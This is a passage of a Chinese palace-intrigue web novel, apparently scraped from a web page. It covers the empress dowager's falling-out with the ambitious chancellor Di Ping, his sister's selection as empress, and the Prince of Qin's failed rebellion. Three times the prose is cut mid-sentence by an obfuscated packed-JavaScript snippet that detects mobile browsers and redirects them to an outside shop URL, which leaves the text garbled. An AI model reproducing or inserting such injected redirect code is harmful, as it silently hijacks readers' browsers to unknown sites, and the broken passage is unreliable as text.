“我梁朝幅员辽阔,倒也不缺他这一个人才。你是太后,他岂敢痴心妄想?” “怎么不敢,”娄庄姬将耳环甩回妆奁盒里,“狄平是个机灵人,他知道自己的优势在哪里。仕途晋升,有的人凭的是才学,有的人凭关系,他就不一样,他凭的是钗裙,是女人。杜夫人和二公主为了他的前途付出了多少,对他多么痴心,若不是他昏了心脚踏两条船,恐怕在先帝时就已经位极人臣了吧。现在,他又准备攀上我了。” “他怎么能,他一点脸面也不想要了吗?” “他就是有这个胆子,”娄庄姬的语气忽而变得严厉,“人心不足蛇吞象,他迟早栽在自己的风流债上。” “那你为什么还要纵容他?” “他想玩玩,我就陪他玩。他为人不怎么样,办事还是靠谱的,现在这个时候,又没有更好的人能替他,他还有价值,我们就将计就计。” 皇甫澍还是忧心忡忡。 娄庄姬安慰他道:“你放心,他想要的并不真的是女人的爱情和心,他只是想要面子,还有贵女赠给他的权力和地位。后者,我可以给他。” “给他可以,但一定要能收回来。” 娄庄姬笑着捏了一把他的耳朵,说:“你又不相信我了?” “听说你靠他扶植了一股自己的势力?” “只是朝中的几个眼线罢了。你每天听的消息多,万一有决策失误,我不过帮你盯着点。其实并不是非要他来帮忙,只不过是他正巧出现了,又那么殷勤。” 皇甫澍忽而沉默了,酝酿了一会儿后说:“你智谋无匹,我觉得你比我更适合当皇帝。” 娄庄姬想起他之前说过的有关禅让的话,哑然失笑:“笨蛋。皇位不像做官,这不是一个需要才华的位置。你需要的是人气、拥护和忠诚。光有才能,是远远不够坐上这个位置的。无能并不会使你退位,因无能而招致不满才是退位的原因,就像先帝。而在让人满意这方面,你很有天赋。” “为什么呢?” “我不知道。天赋哪能解释呢?人们通常把你的这种天赋称之为,帝王气。” “帝王气?” “你看你眉宇之间,”娄庄姬用双掌托起他的脸部,对着镜子左晃,右晃,“你看你的眉骨、额头、鼻梁,一看就像一个皇帝,像龙,真龙天子。” “像龙?”皇甫澍想起了自己衮服上绣着的奇形怪状的龙,对这个比方不是很满意。 “龙睛凤目,这可是好词。不想像龙,那你还想像什么?” “好好好,我像我像。”皇甫澍挤到镜子前,端详着自己的面庞,目不转睛。娄庄姬见他看得那么入神,打趣道: “这么喜欢看自己啊?” “因为你很喜欢看啊,晚上的时候我经常假装睡着了,眯着眼睛,发现你一直盯着我看,有时还拿手在我脸上比划呢。” 轮到娄庄姬脸红了。她伸出一只手盖在皇甫澍的脸上,把他推回身后,嗔怪道:“别偷懒,继续梳头。” 从镜中,她看到皇甫澍吻了她的头发,低声说: “如果你跟狄平玩够了,就适可而止好吗,千万千万,不要把自己搭进去。” 她心中一荡,应道:“好,我答应你。这场游戏也差不多了,我想让他做的,他都做过了。我会收手的。” 很快,狄相就发现上阳宫对他的态度冷淡了下来。迎接他的不再是热情的笑脸,而是拒人于千里之外的礼貌。 他复盘自己哪里得罪了太后。 他想,太后让他安插眼线,他找人了。太后让他监视袁太妃残党,他监视了。太后让他兴建学校,他尽职尽责地建了。太后让他遴选一帮人编写记录梁朝各方面成就的大典,编书工作如火如荼。让他做的事,他件件卖力,与她相处时,他八面玲珑,到底是哪里出错了。 他当年劝娄庄姬当太后,就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974369|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为想攀附上国家权力最大的女人,保证自己的仕途通达。君王的信任是难测的,而女人的爱情却往往炽烈长久,靠后者为自己的上升之路助力可比前者有用的多。这是他从小就领悟到的。 他的母亲出身名门望族,因为爱上草根出身的穷书生父亲,愿意为他投入自己家族的一切资源,心甘情愿为他铺路、打通向上的关节,火热的爱燃烧了几十年,他父亲的成就,就是他学习的范本。 他模仿父亲,并青出于蓝胜于蓝,做的比他更加极致。他的第一个猎物是国子监祭酒的女儿,通过她结识了杜相,从此平步青云。从丞相孙女,到公主,再到当朝太后,他要一步一步地爬上去。 他付出了多少啊。磨破了嘴皮子劝说娄庄姬,一路上费尽心力,将本应该是秘密的圣旨传播到举国皆知,鼓励娄庄姬去逼宫、推翻先帝,就是为了塑造一个会信任他,以至于坚定地爱上他的太后。他的情感游戏本该是百发百中的,怎么会在她身上失手。 他穿上了熨贴得没有一丝褶皱的官服,抹了粉装出苍白的脸色,酝酿好了满腹的委屈,又一次地走进了上阳宫。好歹他要问个清楚。 娄庄姬赐了茶,看起来好像什么事都没有发生。对他的可怜兮兮的模样,没有表露出些许的怜惜。 几轮机锋之后,他就明白了,她想终止二人的游戏。 “你家里需要一个主母,你该成亲了。” “太后说笑了,微臣暂时还没有考虑家事。最近我既要顾着朝中,还要完成您交代的事,我忙的焦头烂额,哪有工夫考虑其他啊。” “这样啊。是我考虑不周了。” “多谢太后挂心。” “以后,我就不托你办事了,绝不能为了我的一点私心,耽误了你的大事。” 狄平一愣。 “我为您做事,心甘情愿。” “让丞相为深宫妇人做事,未免太大材小用了。” “反正是大材小用,您交代的事对微臣来说,并不需要付出很多的心力,就让我为您继续效力吧。” 娄庄姬很满意地笑了。这次没有留他用膳,也没有赏赐。 她说:“今晚皇帝要来,有些事情恐怕不方便同你讲。” 他没有成功介入两人的感情,向上的努力没有得到任何结果。但他会为她做事。他没有料想到。但已经答应了为她做事。 狄平走在深冬的宫道上,冰冷的寒风挤在狭窄的宫墙里,变得更加逼仄刺骨。 他的步伐越走越快,他的脸色越来越铁青。 他愤愤地想: 他们俩算是什么正经皇帝和太后,一个与我做过同窗,另一个与我是年少相识。我看我们之间的差距也没有那么大。没有我,他当不上皇帝,她更不会当上太后。他们凭什么联起手来将我像狗一样溜来溜去地戏耍。 他走着走着,越想越不甘心。上一次失败,是因为碾压他的力量太强大,他无法质疑。这一次,他还可以再反抗。没有人的心是铁打的,不会被撼动的,只需要找到正确的方法。 28. 根基(四) 一个月后早朝上,突然有一个大臣站出来,进言道: “泱泱大国,不可缺少国母,如今后位久悬,实不相宜,请陛下尽早立后!臣听闻狄相有一妹,年方二九,颇有贤名,可为人选。” 皇甫澍还没有回应,又有几个大臣站出来,纷纷表示赞同。他看向狄平,他平静的神色下,似乎藏了一点得意。 “朕暂时未考虑此事。” “陛下,此事不宜再拖延了呀。龙凤呈祥,阴阳调和,为国家兴盛之兆。君王无后,于礼不合。” “是啊陛下,只有先立了皇后,日后方可广纳嫔御,为皇家开枝散叶,绵延祖宗社稷。此事不可再缓,望陛下三思。” 皇甫澍皱紧了眉头,问道: “你们都这么觉得吗?” “臣等皆认同方才几位大人的话。” “你们都觉得,朕应该立狄丞相的妹妹为后吗?” “狄小姐贤良淑德,美名远扬,为不二人选。” 皇甫澍冷笑,对着狄平问道: “不知狄相是何想法?” 狄平从容地从队列中走出,款款行礼,说道: “臣不敢妄议后宫之事,但也觉得陛下立后之事不宜再延后。方才见诸臣推举舍妹,着实受宠若惊。舍妹才貌平平,唯有恭顺而已。皇后人选,还要看陛下的心意。” 又有人跟在他话音之后说道:”女子无才便是德,恭顺便是最好的品德。丞相之妹,是难得一见的贤女。“ 狄平礼貌地笑了一下。 皇甫澍的手指叩击着龙椅的扶手,一手扶额,说道: “不知道你妹妹愿意吗?” 狄平答道: “能为一国之后,天子之妻,是她无上的荣幸。” “除了她,看来也没有更好的人。朕想立的人,你们也不会同意,对吗?” 群臣有的低下了头,有的露出疑惑的目光。只有狄平似笑非笑,明明是温驯的表情,却让人很不舒服。 “此事之后再议吧。还有没有别的事要说。无事就退朝吧。” 兵部尚书在皇甫澍要因厌倦退朝前站出来,说: “启禀陛下,臣还有一事要上奏。幽州传来消息,北狄单于离奇身亡,并未留下遗言,其二子争夺王位,不肯相让,北狄如今正陷入内乱。” “这样的事怎么现在才说?” 兵部尚书连声请罪。 “孰强孰弱,可有定数?” “兄弟二人,旗鼓相当,最后单于之位落入谁手,还未可知。敢情陛下,是否要插手,声援某一方?“ 有人说: ”北狄与我朝素来为敌,狼子野心,心高气傲,他们怎会接受我们的援助,反而是我们折了兵又不讨好。何不趁他们内乱,一举出兵,荡平敌寇。“ “不可,”狄平说,“若我们贸然出兵,兄弟二人面对外敌暂时放下仇恨,联起手来对抗我们也未可知。北狄虽然屡屡为我朝手下败将,其实力还是不容小觑,不可轻敌。” 皇甫澍思考了一会儿,拍板道: “既然如此,我们先静观其变,等局势分明了再做决断。” “陛下圣明!” 皇甫澍下朝后,就一心研究北狄的局势。直到娄庄姬匆匆找来,逼得他把眼睛从地图上挪开。 “有几个大臣来找我,说希望我催促你册立皇后,并重重推荐了狄平的妹妹。早朝上,他们是不是也跟你说了这事。” 皇甫澍叹了口气。 “正是,烦人的紧。” 小太监给她递上一杯茶,她接过,却只是放在手心里。 “你是怎么考虑的呢?他们看起来不像是会善罢甘休的,会一直上书、劝谏,直到你立后为止。” “我?”皇甫澍嘴角扬起,做出一个轻蔑的笑,“我准备听他们的。” “什么,”娄庄姬险些摔掉了手里的茶杯,意识到自己失态后,才强作镇静道,“你打算立狄平的妹妹吗?” “是的。”皇甫澍将地图卷起来,抬头看到娄庄姬发白的脸色,笑说,“别多想,我这辈子喜欢的女人只有一个。” 周围的宫人们还没有退下,但也没有听出什么弦外之音。 “你这样说,那为什么还要接一个无辜的女孩子进宫?” “不是我想让她进宫,是她的哥哥把她推进来的。”皇甫澍的眼光突然变的很锐利,像刀锋上闪过的冷光。这种眼神,娄庄姬只在他在边关迎战的时候见到过,“狄平在你这里受挫了,他想报复你。立后,使我们的关系不得不疏远。” “报复我,却要通过你?”娄庄姬摇摇头,“还要搭上他的一个妹妹。” “自己的亲哥哥都把自己当做工具,那姑娘的日子一定不好过。还不如早点让她离开家,进宫来,省得日后又被她哥哥利用。” 娄庄姬喝了一口茶水,凝神片刻,说:“还是不太妥当,这姑娘在宫外,兴许能嫁个好人家,过得幸福。你把她接进来,又不喜欢她,不是让她在宫里寂寞一辈子吗?” “狄平可是说他妹妹也想入宫。” “那不一定是人家的真实想法。” “既然这样,我们不如先见一见她。” 几日后,狄家小姐坐着小轿,从皇宫侧门被抬进来。四方的小轿子像一个木质的礼物盒,四个轿夫就驮着这个礼物盒,穿梭在宫道上,将厚礼赠予太后。 娄庄姬此前一直收到各种出自这位小姐之手的绣品,睹物思人,想象她该是一位怎样面容的姑娘,想着她穿针引线的模样,兴许有点像手巧的柳慈。于是真正见到本人时,不免有点失落。 狄鸣岐跟她那位以丰神俊朗闻名京城的兄长几乎毫无相似之处。她绝对算不上一个美人。粗眉毛、厚嘴唇,十几岁的小姑娘却顶着暮气沉沉的妆容,穿着过时的衣服。 但同时,她又很讨人喜欢,乖巧文静,总是挂着恬静的微笑,好像没有什么事会使她不愉快或者恼怒。 娄庄姬上来先赞美她心灵手巧,她红着脸垂下头,回话的声音很低,娄庄姬完全没有听到她在说什么。 接着她又和她唠了一会儿家常,也是娄庄姬单方面滔滔不绝,她只是点头、摇头,都不曾抬起头来正眼看她。娄庄姬没有办法,想着是不是宫内的环境太闷了,就说,去御花园走走吧。 昨夜新落了一场雪,处处银装素裹,天地都是白茫茫的。御花园的红梅映着雪景,艳红色像要滴出来。娄庄姬注意到,狄鸣歧走走停停,盯着树上的梅花发呆。 “你很喜欢梅花?” “是。啊,不。”她吞吞吐吐的,“喜欢,但不是最喜欢。” “你喜欢很多花?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974370|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是。” “人间百花争艳,各有其美,真正爱花之人,是无法选出最美的那一种的。” 狄鸣歧有些不好意思地笑。 “凛冬时节,宫中景物肃杀,也只有梅花凌寒开放。到了开春,那才叫万紫千红,如入仙境啊。” “听您说的,一定很美。但臣女觉得,冬日虽然万物寂寥,静听雪声,这静的乐趣,倒远胜过热闹呢。” 娄庄姬看着她。 “你喜欢安静?” “嗯。” “不喜欢和人相处吗?” 她摇摇头:“是不擅长。臣女笨口拙舌的,人家说话,往往应不上来,还是不说的好。” “你说话很有意思,应该多说说。你看你大哥,凭借一张嘴纵横朝堂,你们是亲兄妹,怎么不相像呢?” “娘娘,百花争艳,各有其美。” 娄庄姬很喜悦地笑了。 “你是话不多,但是想的多,所以虽然话少,却一鸣惊人。” “臣女受不起娘娘这样的夸赞。” “现在,你也好好想一想,然后简单地回答我。你愿意做皇后吗?” 狄鸣歧垂下脑袋,两道粗粗的眉毛间拧出一个疙瘩,嘴唇咬紧,一看便知在艰难地思考。 娄庄姬不着急,只希望她考虑清楚。 “娘娘,臣女愿意。” “是真的愿意吗,不能再更改了。” 她点了一下头,继而确认自己的答复似的,又点了一下。 “能为天子妇,是臣女的荣幸,也是臣女一族的荣耀。” 她说这句话时,很流利,声音也大了一些。与她之前说话的口吻截然不同。 娄庄姬苦笑,问她道: “你喜欢皇宫吗?看看这花草,这屋檐,喜欢吗?” “喜欢。” “愿意一辈子住在这里吗?” “愿意。” “喜欢皇上吗?” “臣女崇拜皇上。” “你见过他吗?” “没有。” “若是,皇上不喜欢你,你该怎么办呢?“ 狄鸣歧怔了一下,说: “臣女恪守本分就好,绝不贪心。” “傻孩子,这不是贪心。” “太后娘娘,臣女是哪里做的不好吗?” “你很好,简直是天生的皇后。”娄庄姬带着苦涩说,“如果你刚刚的话都是真心的,那么你和你哥哥很像。” 狄鸣歧不知怎么回答,不明白娄庄姬的话是夸奖还是挖苦,站在雪地里,茫然无措,又让人怜惜。 娄庄姬把她披着的大髦拢紧,望着她的眼睛说: “你回去告诉你哥哥,你们一家马上就要出一个皇后了,该怎么庆祝,就怎么庆祝吧。不过还有一件事,我只跟你说,你答应我不要告诉别人,你的父兄也不行,你如果不答应我,那么一切就还有变数,明白了吗?” “臣女明白。” “这嫁出去的女儿泼出去的水,你做了皇后,就是天子家的人。一切以皇家利益为先,你们狄家的事,都往后稍稍。至于你需要做什么,本宫日后会教你。” 她看着狄鸣岐因为受冻而皱在一起的小脸,叹了口气说道: “等着戴上你的凤冠吧。它应该和你很配。” 29. 逃兵 开春以后,雨水不断。淅淅沥沥润湿了古老的城墙,京城之上笼罩在氤氲的水汽中,之下踩踏在泥泞的土壤上。 小老百姓的生活平淡乏味,日出而作,日落而息是经久不变的法则。打更人收拾好行装,走上街时,已经是漆黑一片,寂静得仿佛白日的热闹不曾存在过。 他敲着更,打了一个大大的哈欠。 忽而,他眼角的余光里闪过了一个窸窣而去的人影。他猛回头,街上空无一人。或许是眼花了吧,他想。 “夜深人静,百无禁忌!” 他并没有眼花。那个身影踉踉跄跄地走过一条小巷,他受了伤,脚步不稳,险些栽倒。他知道自己不能倒下,只要身体一落到地上,他就再也爬不起来了。所以,他用一条手臂扶住墙,勉强往前走。巷口似乎有亮光,也不知道是不是他头晕眼花而出现的幻觉,不管如何,他像一只飞蛾一样扑向光芒。 秦王府守夜的侍卫,无聊时会掷铜钱猜着玩。正,反,正,反。两人靠口型交流,不敢出声笑。这次铜钱抛得高了一点,没有接住,骨碌碌地滚去。掷铜钱的侍卫不顾同伴招呼,连忙去把铜钱捡回来。 他追着铜钱,一路蜿蜒,终于看准时机猛地一扑,双掌压住那枚铜钱。 他嘿嘿一笑。猝不及防,感到自己的身子像被人踢了一脚,没等他叫出声,踢他的那人整个身子已经像他盖住铜钱那样盖在他身上,一倒下就一动不动。 他的同伴匆忙赶来,把压住他的人搬开。那人裹着脏兮兮的袍子,面色蜡黄,露出来的皮肤上有不少伤痕,看起来已经不省人事。 “大晚上的,这人怎么在街上乱跑?” 他稍加思索,忽而警惕地说: “你记不记得京师兵最近出了个逃兵?” “逃兵?他?”同伴打量着这人瘦弱的身躯,一脸不可置信。 “欸,最近为了抵赋税服兵役的人越来越多,什么瘦猴儿都能当兵了,这有什么稀奇?” “既然这样,先把这人带回府,告知秦王吧。” 虽然已经四更了,但皇甫诚还坐在书桌前,勤奋苦读。 他今日入宫,与皇兄探讨经典,连连语塞答不上来。皇甫澍惋惜地拍了拍他的肩膀,说:“皇弟最近是不是疏于读书了?你这样子,我可不敢把重要的事交给你。” 他没好意思说,他每天一忙完政事,就疯狂地学习。只可惜他天赋不佳,经常读不懂。对于皇兄称帝,他一点也不嫉妒,因为他知道自己不如人。而且皇兄对他很亲和,经常邀他入宫下棋、谈天,拿他当真正的兄弟。 于是,对于皇兄的期望,他不敢辜负。勤能补拙,他坚信只要自己头悬梁锥刺股,总能有所进步。 夜晚的风微凉,正适合提神醒脑。他正要打开面前的窗户,却发觉自己的妻子不知何时已经站到了身后。 “还不睡啊。”袁堇睡眼惺忪,一看就是刚刚才从床上起来的。 “我再看一会儿,你先睡吧。” “我陪你好了。”她说着就要去搬椅子。 皇甫诚连忙拦住她的手,关切地说:“你去休息吧。你怀了身孕,不能累着。” 袁堇是袁太妃的侄女,嫁给皇甫诚时,两人年龄都很小。皇甫诚还不懂男女之事,只觉得这个小表妹虽然性格骄纵,但很可爱。两人感情一直如胶似漆,今年过年时,终于有了得子的好消息。 皇甫诚觉得,自己虽然很笨,是个没什么能力的亲王,一辈子也比不上皇兄那样英明神武,但只要能和自己心爱的妻子平静地过完余生,也没有什么遗憾了。 “我不累,孩子也要跟他父王学学,长大后,要博览群书。” 皇甫诚温柔地抚摸她尚未隆起的腹部,说:“只要他不跟他父王一样笨就好了。” “您才不笨呢。”袁堇反驳。 皇甫诚幸福地微笑,说道:“好吧,我跟你回屋睡觉去,咱们的孩子若是以后跟我一样天天熬夜读书,可叫人心疼。” 两人刚跨出门槛,府里的小厮忽然跑过来,报道:“王爷,门口守夜的侍卫说抓到了一个形迹可疑的人,疑似是京师兵的逃卒,希望您来看一下。” 皇甫诚的表情立刻变得紧张起来,搂在袁堇肩上的手不由自主地重了几分。 那人被关在仓房里,双手被一根粗糙的麻绳捆住。一个仆人给他喂了一碗水,又给他擦了一把脸,他才恢复意识,艰难地抬起眼皮,神情恍惚。 “你为什么半夜在大街上行踪诡异?”皇甫诚问道。 那个人死死地盯着他,像是在捍卫一件宝物似的充满敌意,并不回答。 “我们王爷问你话呢,你哑巴了?” “王爷?你是秦王吗?”那人开口道,声音沙哑如磨盘碾过谷穗。 “正是。” 那人重重地吐出一口浊气,仰起头,面对惨白的月光,强行扯出的笑容充满了绝望。 “你的靴子是京师兵专用的,你就是他们追捕的逃兵,对吗?” “你既然知道我是谁,还问什么?” “本王怕冤枉了人,故而确认。看来你是承认了。” “哼,冤枉,你们冤枉的人还少吗?” 小厮呵斥道:“放肆,你这是跟王爷说话的态度吗?” 皇甫诚让他安静,继续问道:“你的名字是叫卢异吧?” “卢异,字相安。” 皇甫诚皱起眉头:“有字?你曾经是个读书人?” “我一直是个读书人。” “那你为什么会进京师兵,又为什么要逃?” “还能为什么,交不起税,就只能当兵。至于为什么逃,你得去问军营里的人。” 京师兵的组成中,多是强征而来,军纪混乱,鱼龙混杂,常常有人在其中被虐待至死。想到这,皇甫诚对眼前的人生出了几分同情。 “你知不知道,依我朝法律,当逃兵是死罪。” “我在军队里待着是死,逃了,或许还能活。不过既然落到王爷手上,看来是活不了了。”他自嘲道。 皇甫澍有些为难,他觉得这人明明是受害者却要处以死罪,于心不忍。但一番权衡之后,他还是硬着心肠说: “明天一早,我会把你送回京师兵,你···哎,”他转头对小厮说,“给他拿一身干净衣服,再拿好酒好菜来。” 那人很夸张地大笑,说道:“多谢王爷,还多赏我一顿断头饭。真是太慷慨了!” 皇甫澍不愿看他,正打算离开,突然,袁太妃推门而入,严厉地说: “不能把他送回去。” “母妃!” 袁太妃自从被娄庄姬赶回秦王府以来,一直恨得咬牙切齿,夜夜咒骂,家无宁日。有时半夜还会起来在院子里游荡,念念有词。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974371|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想必刚才的骚乱惊动了她,两人的对话,也尽数被她听了去。 “小兄弟,我问你,像你这样因为交不起税而当兵的人,京师兵里还有多少?” 卢异斜眼看着面前的妇人,冷哼道:“我不知道,兴许有一半吧。” “那可真不少啊。”太妃露出一个诡异的笑,让皇甫诚打了一个寒战。 “母妃,你问这个干嘛,儿子明天就把他送走,然后就不关我们的事了。” “糊涂孩子,你看不出来吗,这可是天赐良机啊。” 皇甫诚和卢异露出同样疑惑的表情。 “你那野种皇兄,登基还不到一年,就已经害的这么多可怜人背井离乡了,他不适合皇位。所以天意把这位小兄弟送到我们府上,就是要让我们把握机会,换一位更英明的君主。诚儿,舍你其谁?” “母妃,你在说什么呀,简直是大逆不道!我绝无此意!” 皇甫诚气的脸通红。 卢异反而起哄道:“太妃娘娘说的对,我们这些交不起税不得不当兵的,最恨这个狗皇帝了,还有那个狄丞相也不是什么好鸟!” “小兄弟真是有远见卓识的人啊,不愧是读过书的,就是不一样。” 袁太妃大喜过望,凑近卢异,却被他身上估计一个月没有洗过澡的臭味熏退,跟皇甫诚说:“快给这位小兄弟洗一个澡,他有大用。” “母妃,我们不能这样做!” “糊涂!你甘心就一直这样做一个无权无势的王爷吗?你才是先帝最正统的子孙,他是从哪儿冒出来的。没心没肺的东西,你不知道本该属于你的东西,被那皇宫里装模作样的奸夫□□给抢了吗?我的肚子里不会生出一个孬种,我的孩子,你要有骨气。” “母妃,皇位让皇兄来坐,我心甘情愿!他并没有做错什么,您不该这样侮辱皇兄和母后!” “啪”的一声,皇甫诚脸上挨了一个响亮的巴掌。太妃怒视着自己的儿子,好像从来都不认识他一样。 “母后?那个女人成了你的母后了,那我是你的什么人?” “母亲···” “我才是你的母亲,她算什么母后,我做贵妃的时候,她还只是个小小婕妤!你不知道,你还在襁褓里的时候,她还想过要下毒害死你,你为什么要袒护她?” 皇甫诚死死地咬着嘴唇,低着头一句话不说。 袁堇听到吵架的声音,匆匆忙忙地跑过来,见太妃气得目眦欲裂,皇甫诚捂着脸委屈巴巴,赶快抱住丈夫,求道: “母亲,王爷一时冲撞了您,您千万别往心里去,我们睡觉去吧,都冷静一下,好不好?” 卢异在仓房的柴草堆里,静静看着眼前的这出戏,摇了摇头,打断道: “各位贵人都停一停,这样有失体面。” 三人意识到刚才的闹剧被这个衣衫破烂的逃兵看在眼里,都有些不好意思。袁太妃对皇甫诚下了最后通牒: “如果你还认我这个母亲,我也不要你帮忙做什么事,你老实在一旁看着,不要插手。” 皇甫澍刚想启唇反驳,袁堇拦住他,说: “王爷,听母亲的话吧,不要再让她老人家生气了。” 皇甫诚的面孔因痛苦而扭曲,他用双手掩面,如同陷入了一场醒不来的噩梦。最后,他只留下一句狠话。 “母亲,我迟早被你害死。” 30. 谋反 过了几日后,早晨一个贩售蔬菜的商户,看见午门的城墙上布满了骇人的血手印,吓得栽倒在地。手印旁还有字,他不认得,拉来书摊的老板来读,老板一看就脸色惨白,决计不肯读出声。 墙上赫然写着:“昏君误国,试看离乡者血泪,哭倒皇门。” 很快就有卫兵来驱赶围观的人群,把这触目惊心的血迹粉刷掉了。不过这样的奇事在坊间立刻不胫而走,人们推断,一定是交不起赋税,被强征入伍的士兵们一同干的。不过他们到底怎么做到神不知鬼不觉,为何没有一个守夜人发现,又成了一个谜团。 皇甫澍当即下令彻查那晚守夜的卫队,是否存在玩忽职守。又详细询问了京师兵的情况。他很严肃地说,服兵役的税线很低,选的都是种田种不出收益的人。到底执行的时候出了什么问题,出现了这么多被强征来的人?这件事拖了这么久,怎么还没有解决,还愈演愈烈? 没想到,很快更诡异的事情出现了。京师兵本来只有一个逃兵,可没过几天,不见的人越来越多,悄无声息。直到一个客商在京城的时候,车马压过了一个松动的土丘,连人带马陷了进去。他下车后,惊恐地发现,土丘下面埋的是几具全都身着军装的尸体。他吓得屁滚尿流地去报官。 官府一查,这几个士兵都是不久前京师兵失踪的,而且好巧不巧,全都是因为新政策入伍的。他们身上伤痕累累,看起来生前没少受到欺侮。 事情很快就捅出来了。京师兵中长年有地头蛇横行,专门欺负这些没钱没权的新兵,被折磨而死的大有人在。这一下子就激起了众怒,皇甫澍亲自下令,把这些人全部抓起来。谁知这些人刚被束缚住手脚,那些平常饱受欺辱的士兵就大动拳脚,押送的人拦都拦不住,只能看着他们被活活打死。 还没完。这些杀红了眼的士兵竟然跑到京郊,召集了一帮义愤填膺的农民,叫嚣着要推翻昏庸的皇帝。 他们只是一些散兵,没有什么作战能力,并不算什么大的忧虑。唯一让皇甫澍迷惑的事,他的这条政策,怎么就引起民众造反了呢?无奈之下,他只好取消政令。可反军并没有因此而善罢甘休,皇甫澍想了一想,决定派人去招安。 可万万没想到,一封羽毛信飞入宫廷:秦王反了。 一道晴天霹雳。皇甫诚,皇帝最贴心恭顺的弟弟,反了。 娄庄姬很清醒:“不是秦王想反,是太妃想反。” “有什么区别?诚弟听她的了。” “不一样,你还可以尝试去说服他迷途知返。” 皇帝的使者来到了城外秦王暂时驻扎的营帐,进行了一场漫长的劝说。据他汇报,秦王面色痛苦,以礼相待他,但不肯松口。他还带来了秦王的亲笔书信。 “秦王怎么说?”娄庄姬问。 皇甫澍读着信,泪水逐渐溢满了眼眶,他低声说道: “他说,他不愿与我为敌。他自知定会兵败,兵败即自戕。望我放过他的妻子,并希望你能原谅他母亲的过失。” “哎。“娄庄姬的眼里透出悲悯,“袁彩娥短视,只是害苦了一个好孩子。” “我想好了,我亲自去城外作战,一定拦下诚弟。”皇甫澍眼神笃定。 娄庄姬知道自己不必多说,只嘱咐:“务必小心。” 战事将近,整个京城都笼上了一层惊惧的暗色。家家闭户,风声鹤唳。 这是一场早已能预知到结果的战事。袁太妃召集了京师兵中不满的人,加上王府的卫军和仍忠诚于自己弟弟的残部,可惜她想象中对新帝不满的大批百姓并没有出现。他们现在已经骑虎难下,不得不战了。 皇甫诚在营帐里,抱着妻子的腰,在她的膝上号哭道: “母亲疯了,现在她想让我也疯掉。” 袁太妃在营帐外,对着卢异大吼大叫: “怎么回事,你不是说京师兵至少有一半是被强征来的吗?你不是说有很多人对皇帝不满吗?” “在下也不知道。兴许是您埋人埋多了吧。” “你还敢跟我耍嘴皮子?别忘了是我留了你一条命,留心我杀了你!” “您还是别杀我的好,现在多一个人就多一分胜算。” 袁太妃气得直跺脚。她本来满心认为,皇甫澍的统治不是正统,一定有很多人像她一样心存不忿。可那些人呢,一帮胆小鬼,没有一个肯站出来的。 她气急败坏,朝着皇宫的方向破口大骂。 卢异站在一旁,平静地看着她。 他现在装扮得很干净。换上了书生的装束,洗干净了满脸的污泥,露出一张虽然瘦削但极有风骨的脸。他正值二十七八的壮年,虽然在军营里受尽了折磨,却没有失掉与生俱来的高傲。 他也像太妃一样,望向皇宫,不过眼神更加深邃,藏着无穷的思绪。 “您要是被抓了,打算怎么办?” “怎么办?我才不考虑这些。还没打,怎么就咬定我们会败。” “您就是靠自信打仗的吗?” 太妃白了他一眼。挥手喊来几个士兵,命令道:“给我把他的嘴堵上。扰乱军心,其心可诛。” 太妃相信,真龙天子会有天意相助。想当年光武帝以少胜多,就是有天降陨石,砸得王莽军溃不成军。她耐住性子,等待着天降异象,拯救处于劣势的他们。 只可惜,到了皇甫澍骑着高头大马走到他们营帐前,她的军队纷纷倒戈,不用皇帝多费口舌就主动被招安时,也没有什么异象。很快就有人把她绑了起来。 皇甫澍径直冲向主帅营帐,恰好拦下了刚刚拔出剑的皇甫诚。他徒手握住剑刃,掌心渗出血珠,皇甫诚见状,愣在了原地。他趁机夺下了剑,甩在地上,旋即紧紧抱住了弟弟。 弟弟温热的泪水很快浸湿了他的衣襟。 “我不是郑伯,你也不必做段。” “皇兄,臣弟对不起您,臣弟甘愿受罚。” “你是朕的手足兄弟,朕怎么狠得下心来罚你?” 他看见一旁的袁堇早就吓得腿软,瘫坐在地,手上握着一把小匕首,挡在腹前。他柔声说道: “弟妹不必惊慌,朕不会伤你夫妻二人性命。” 皇甫诚赶紧去把自己的妻子扶起来,她很恐惧,晕厥在他怀里。 “告诉朕,为什么要造反?起因是什么?” 皇甫诚把抓到逃兵卢异的事一五一十地说了。通过他,他们打通了京师兵的关节,向那些被折磨的士兵散布消息,告诉他们秦王府会收留他们,卢异就是例子。至于什么血手印、埋人,都是卢异一手策划的。 “这个卢异鬼点子倒多,他是什么来头?” “他说自己是个读书人,家里很穷,强征来当兵,旁的就不知道了。” 皇甫澍点点头。 反军很快就被押送进城,关进大牢。秦王保留王位,暂时被拘禁在王府,等候发落。 